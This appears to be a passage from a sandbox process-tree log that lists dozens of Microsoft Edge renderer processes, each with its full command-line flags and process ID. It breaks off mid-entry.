- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=136 --always-read-main-dll --metrics-shmem-handle=21796,i,2572872233634413450,14910724545282931831,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=12752 /prefetch:1
    3⤵
    PID:4180
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=118 --always-read-main-dll --metrics-shmem-handle=19904,i,3233340195712521781,15717731640701631563,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=6304 /prefetch:1
    3⤵
    PID:4720
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=137 --always-read-main-dll --metrics-shmem-handle=21888,i,4803899300405309249,15341506112329788266,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=15188 /prefetch:1
    3⤵
    PID:7744
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=132 --always-read-main-dll --metrics-shmem-handle=8180,i,3330784446416306382,4650247292506276677,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=15388 /prefetch:1
    3⤵
    PID:7480
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=131 --always-read-main-dll --metrics-shmem-handle=11676,i,9974233598795875667,7287306782988725114,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=15408 /prefetch:1
    3⤵
    PID:4240
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=139 --always-read-main-dll --metrics-shmem-handle=21984,i,12358966282052904150,9151230884630053719,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=15216 /prefetch:1
    3⤵
    PID:2228
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=138 --always-read-main-dll --metrics-shmem-handle=21968,i,4516111114569510312,5102800208834021085,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=15180 /prefetch:1
    3⤵
    PID:6012
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=127 --always-read-main-dll --metrics-shmem-handle=20872,i,11146035467080828522,3536429421290399539,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=15636 /prefetch:1
    3⤵
    PID:6880
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=128 --always-read-main-dll --metrics-shmem-handle=20932,i,14873847852617498848,12870280058027257196,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=15616 /prefetch:1
    3⤵
    PID:3264
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=140 --always-read-main-dll --metrics-shmem-handle=22008,i,9766653100966640526,4959757212938976756,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=15204 /prefetch:1
    3⤵
    PID:7372
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=129 --always-read-main-dll --metrics-shmem-handle=20980,i,16207391951988974686,13221644668004148742,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=15656 /prefetch:1
    3⤵
    PID:2144
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=130 --always-read-main-dll --metrics-shmem-handle=11688,i,13092801515719151411,4472379994708432315,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=11760 /prefetch:1
    3⤵
    PID:4800
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=141 --always-read-main-dll --metrics-shmem-handle=22028,i,12578579650317292644,10051558712243800046,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=15240 /prefetch:1
    3⤵
    PID:7380
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=143 --always-read-main-dll --metrics-shmem-handle=22064,i,17521448942811446496,4847580447586127567,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=14832 /prefetch:1
    3⤵
    PID:2484
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=142 --always-read-main-dll --metrics-shmem-handle=11292,i,14264859372529740162,11355884252076340594,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=4124 /prefetch:1
    3⤵
    PID:7928
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=144 --always-read-main-dll --metrics-shmem-handle=22100,i,10782683123285567137,5493922096268899351,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=14812 /prefetch:1
    3⤵
    PID:3408
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=146 --always-read-main-dll --metrics-shmem-handle=22156,i,4888498645787670694,15365926626996210147,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=12724 /prefetch:1
    3⤵
    PID:7388
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=145 --always-read-main-dll --metrics-shmem-handle=22124,i,9000065752932956938,14474829551555486032,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=12748 /prefetch:1
    3⤵
    PID:7392
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=147 --always-read-main-dll --metrics-shmem-handle=22252,i,15657039420257918890,2048980148899133634,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=12736 /prefetch:1
    3⤵
    PID:4012
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=149 --always-read-main-dll --metrics-shmem-handle=12212,i,8755169137322873560,16661582745575425905,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=12640 /prefetch:1
    3⤵
    PID:7396
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=148 --always-read-main-dll --metrics-shmem-handle=16724,i,3644622035912242847,5441575081940831743,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=12664 /prefetch:1
    3⤵
    PID:2692
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=150 --always-read-main-dll --metrics-shmem-handle=16672,i,7021880862031835764,6392897269301582001,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=12572 /prefetch:1
    3⤵
    PID:5996
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=151 --always-read-main-dll --metrics-shmem-handle=16664,i,5336614097639647071,11994185958152771464,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=22672 /prefetch:1
    3⤵
    PID:9212
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=156 --always-read-main-dll --metrics-shmem-handle=17668,i,5486131712618069821,2820654437715619449,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=13868 /prefetch:1
    3⤵
    PID:3044
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=157 --always-read-main-dll --metrics-shmem-handle=12544,i,17425322955346163545,2098686686592233236,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=13836 /prefetch:1
    3⤵
    PID:6024
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=152 --always-read-main-dll --metrics-shmem-handle=17652,i,10632617017108355001,8248269952002703205,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=22668 /prefetch:1
    3⤵
    PID:3348
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=153 --always-read-main-dll --metrics-shmem-handle=16688,i,11551773256458996190,16752068908176549170,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=22664 /prefetch:1
    3⤵
    PID:7940
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=155 --always-read-main-dll --metrics-shmem-handle=17616,i,5056411100027456831,1285370709179423796,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=13844 /prefetch:1
    3⤵
    PID:1424
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=154 --always-read-main-dll --metrics-shmem-handle=13456,i,1811510312135879333,9259436158732945476,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=13848 /prefetch:1
    3⤵
    PID:5556
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=159 --always-read-main-dll --metrics-shmem-handle=18100,i,15395430756394678386,9071648981869509849,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=7232 /prefetch:1
    3⤵
    PID:2136
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=161 --always-read-main-dll --metrics-shmem-handle=11372,i,16556134656054215924,3594357241766426792,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=14696 /prefetch:1
    3⤵
    PID:6072
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=158 --always-read-main-dll --metrics-shmem-handle=18120,i,11712016453351678578,10478677536894427579,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=13828 /prefetch:1
    3⤵
    PID:2212
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=160 --always-read-main-dll --metrics-shmem-handle=10816,i,16261589917487385851,4911161575767440330,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=7164 /prefetch:1
    3⤵
    PID:9088
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=166 --always-read-main-dll --metrics-shmem-handle=18128,i,11753498270169573424,8329201024163287036,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=14512 /prefetch:1
    3⤵
    PID:9104
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=164 --always-read-main-dll --metrics-shmem-handle=18056,i,10007656995927598826,1434167191167833002,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=14676 /prefetch:1
    3⤵
    PID:8612
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=163 --always-read-main-dll --metrics-shmem-handle=7984,i,7042794894123121778,9337793601974840178,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=14636 /prefetch:1
    3⤵
    PID:8652
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=162 --always-read-main-dll --metrics-shmem-handle=10896,i,17140515411771180770,10313144746542794186,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=14656 /prefetch:1
    3⤵
    PID:7780
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=168 --always-read-main-dll --metrics-shmem-handle=16904,i,11283968343578003522,12130710148338229167,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=14452 /prefetch:1
    3⤵
    PID:7420
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=165 --always-read-main-dll --metrics-shmem-handle=2692,i,9115126269655338432,3614603187378003422,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=4764 /prefetch:1
    3⤵
    PID:9096
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=167 --always-read-main-dll --metrics-shmem-handle=10844,i,12622022084551338094,15412240520967154989,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=14492 /prefetch:1
    3⤵
    PID:9112
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=170 --always-read-main-dll --metrics-shmem-handle=14068,i,7159269375914078496,3301688041864393171,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=15020 /prefetch:1
    3⤵
    PID:8940
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=171 --always-read-main-dll --metrics-shmem-handle=16880,i,9471376333015957796,10653623954382936879,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=14472 /prefetch:1
    3⤵
    PID:7932
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=169 --always-read-main-dll --metrics-shmem-handle=13200,i,1982895638722005126,16555491160340561649,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=9400 /prefetch:1
    3⤵
    PID:8636
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=172 --always-read-main-dll --metrics-shmem-handle=16852,i,4739723988161213604,6823788680073985463,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=22904 /prefetch:1
    3⤵
    PID:1316
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=173 --always-read-main-dll --metrics-shmem-handle=11280,i,13945450524257224543,2877276004184696530,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=22916 /prefetch:1
    3⤵
    PID:7600
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=175 --always-read-main-dll --metrics-shmem-handle=16908,i,8534209411639511291,5826945517926430323,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=4552 /prefetch:1
    3⤵
    PID:4864
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
